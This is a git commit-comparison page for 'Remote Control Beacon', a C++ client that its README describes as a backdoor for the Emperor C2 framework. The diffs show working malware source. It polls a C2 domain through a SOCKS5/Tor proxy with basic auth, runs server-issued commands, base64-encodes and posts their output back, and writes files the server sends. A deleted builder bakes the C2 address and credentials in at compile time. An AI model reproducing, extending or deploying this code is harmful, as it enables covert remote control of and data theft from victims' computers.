Compare commits
10 Commits
8fce3c4f76
...
66c0839d54
Author | SHA1 | Date |
---|---|---|
jacobeva | 66c0839d54 | |
jacobeva | c8374f6c05 | |
jacobeva | f08cc6849b | |
jacobeva | c0a1c2316f | |
jacobeva | 86fcada4ea | |
jacobeva | 32816bfde3 | |
elimin8 | 4d8a8cd0a4 | |
elimin8 | 120c8ca6d6 | |
elimin8 | dd09aa8fed | |
elimin8 | f6c564f653 |
|
@ -0,0 +1 @@
|
||||||
|
bin
|
|
@ -0,0 +1,19 @@
|
||||||
|
{
|
||||||
|
"configurations": {
|
||||||
|
"Debug RCB": {
|
||||||
|
"adapter": "vscode-cpptools",
|
||||||
|
"configuration": {
|
||||||
|
"type": "cppdbg",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "${workspaceRoot}/RCB",
|
||||||
|
"args": [
|
||||||
|
],
|
||||||
|
"cwd": "${workspaceRoot}",
|
||||||
|
"environment": [
|
||||||
|
],
|
||||||
|
"MIMode": "gdb"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
27
MakeRCB.cpp
27
MakeRCB.cpp
|
@ -1,27 +0,0 @@
|
||||||
#include <iostream>
|
|
||||||
#include <string>
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
std::string sUsername;
|
|
||||||
std::string sPassword;
|
|
||||||
std::string sC2Domain;
|
|
||||||
std::string sProxy;
|
|
||||||
|
|
||||||
std::cout << "Enter the username to be used by RCB: ";
|
|
||||||
std::cin >> sUsername;
|
|
||||||
|
|
||||||
std::cout << "Enter the password to be used by RCB: ";
|
|
||||||
std::cin >> sPassword;
|
|
||||||
|
|
||||||
std::cout << "Enter the C2 domain to be used by RCB: ";
|
|
||||||
std::cin >> sC2Domain;
|
|
||||||
|
|
||||||
std::cout << "Enter the socks5 proxy address to be used by RCB: ";
|
|
||||||
std::cin >> sProxy;
|
|
||||||
|
|
||||||
std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't
|
|
||||||
const char *cCommand = sCommand.c_str(); // convert string to c string for running as command
|
|
||||||
|
|
||||||
system(cCommand); // run the make command with environment variables
|
|
||||||
}
|
|
90
RCB.cpp
90
RCB.cpp
|
@ -1,6 +1,7 @@
|
||||||
#include <curl/curl.h>
|
#include <curl/curl.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <array>
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <regex>
|
#include <regex>
|
||||||
|
@ -24,15 +25,61 @@ size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
|
||||||
return newLength;
|
return newLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3)
|
||||||
|
{
|
||||||
|
std::array<char, 64> encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
|
||||||
|
'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
|
||||||
|
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
|
||||||
|
std::string sEncodedTriplet = "";
|
||||||
|
std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3;
|
||||||
|
sEncodedTriplet += encodeTable[combinedTriplet >> 18];
|
||||||
|
sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F];
|
||||||
|
sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F];
|
||||||
|
sEncodedTriplet += encodeTable[combinedTriplet & 0x3F];
|
||||||
|
return sEncodedTriplet;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string b64Encode(std::string sWriteData)
|
||||||
|
{
|
||||||
|
std::string sEncodedData = "";
|
||||||
|
std::string sEncodedBuffer;
|
||||||
|
|
||||||
|
while (sWriteData.length() > 0)
|
||||||
|
{
|
||||||
|
if (sWriteData.length() >= 3)
|
||||||
|
{
|
||||||
|
sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]);
|
||||||
|
sWriteData.erase(0, 3);
|
||||||
|
}
|
||||||
|
else if (sWriteData.length() == 2)
|
||||||
|
{
|
||||||
|
sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0');
|
||||||
|
sEncodedBuffer.replace(3, 1, "$");
|
||||||
|
sEncodedData += sEncodedBuffer;
|
||||||
|
sWriteData.erase();
|
||||||
|
}
|
||||||
|
else if (sWriteData.length() == 1)
|
||||||
|
{
|
||||||
|
sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0');
|
||||||
|
sEncodedBuffer.replace(2, 2, "$$");
|
||||||
|
sEncodedData += sEncodedBuffer;
|
||||||
|
sWriteData.erase();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sEncodedData;
|
||||||
|
}
|
||||||
|
|
||||||
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
|
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
|
||||||
{
|
{
|
||||||
CURL *curl;
|
CURL *curl;
|
||||||
CURLcode res;
|
CURLcode res;
|
||||||
std::string sReadData;
|
std::string sReadData;
|
||||||
|
sValue1 = b64Encode(sValue1);
|
||||||
std::string sWriteData = sParam1 + "=" + sValue1;
|
std::string sWriteData = sParam1 + "=" + sValue1;
|
||||||
|
|
||||||
if (sParam2 != "")
|
if (sParam2 != "")
|
||||||
{
|
{
|
||||||
|
sValue2 = b64Encode(sValue2);
|
||||||
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
|
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -40,18 +87,18 @@ std::string sendData(std::string sParam1, std::string sValue1, std::string sPara
|
||||||
|
|
||||||
if (curl)
|
if (curl)
|
||||||
{
|
{
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
|
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
|
||||||
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
|
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
|
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
|
||||||
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
|
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
|
||||||
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
|
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
|
||||||
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
|
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
|
||||||
//char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
|
// char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
|
||||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
|
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
|
||||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request
|
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
|
||||||
curl_easy_perform(curl); // run query
|
curl_easy_perform(curl); // run query
|
||||||
}
|
}
|
||||||
return sReadData;
|
return sReadData;
|
||||||
}
|
}
|
||||||
|
@ -87,7 +134,7 @@ int main()
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
sResponse = sendData("msg", "reqcmd");
|
sResponse = sendData("msg", "reqcmd");
|
||||||
std::cout << sResponse << std::endl;
|
std::cout << sResponse << std::endl;
|
||||||
|
|
||||||
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
|
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
|
||||||
{
|
{
|
||||||
|
@ -113,14 +160,14 @@ int main()
|
||||||
std::string sOutput = exec(sData[1]);
|
std::string sOutput = exec(sData[1]);
|
||||||
std::cout << sOutput;
|
std::cout << sOutput;
|
||||||
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
|
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
|
||||||
std::cout << sResponse << std::endl;
|
std::cout << sResponse << std::endl;
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
if (sResponse != sOk) // if server does not respond as expected
|
if (sResponse != sOk) // if server does not respond as expected
|
||||||
{
|
{
|
||||||
sResponse = sendData("result", sOutput); // send returned data again
|
sResponse = sendData("result", sOutput); // send returned data again
|
||||||
std::cout << sResponse << std::endl;
|
std::cout << sResponse << std::endl;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -137,14 +184,7 @@ int main()
|
||||||
std::string sSplit;
|
std::string sSplit;
|
||||||
for (int i = 0; i < sResponse.length(); i++)
|
for (int i = 0; i < sResponse.length(); i++)
|
||||||
{
|
{
|
||||||
/*if (sResponse[i] == '\n' && bFilename == true)
|
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
|
||||||
{
|
|
||||||
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
|
||||||
sSplit = ""; // set sSplit to empty
|
|
||||||
bFilename = false;
|
|
||||||
}*/
|
|
||||||
|
|
||||||
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
|
|
||||||
{
|
{
|
||||||
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||||
sSplit = ""; // set sSplit to empty
|
sSplit = ""; // set sSplit to empty
|
||||||
|
@ -160,11 +200,11 @@ int main()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fFile.open(sData[1]); // open a file for writing with the filename provided
|
fFile.open(sData[1]); // open a file for writing with the filename provided
|
||||||
|
|
||||||
if (fFile)
|
if (fFile)
|
||||||
{
|
{
|
||||||
fFile << sData[3]; // write the content of the file
|
fFile << sData[3]; // write the content of the file
|
||||||
std::cout << sendData("msg", "saved");
|
std::cout << sendData("msg", "saved");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
|
|
@ -0,0 +1,9 @@
|
||||||
|
# Remote Control Beacon
|
||||||
|
A client side Emperor C2 framework backdoor.
|
||||||
|
|
||||||
|
This backdoor can communicate with Emperor itself, and can perform the following functions:
|
||||||
|
* Connect to the server (via TOR through a configured FOB)
|
||||||
|
* Request and execute commands
|
||||||
|
* Upload and download files to and from the server
|
||||||
|
|
||||||
|
Most of the communications between the client and server are base64 encoded, but not encrypted. This means that the traffic, before reaching the FOB, is unencrypted. I was considering maybe adding RC4 encryption in the future :)
|
Loading…
Reference in New Issue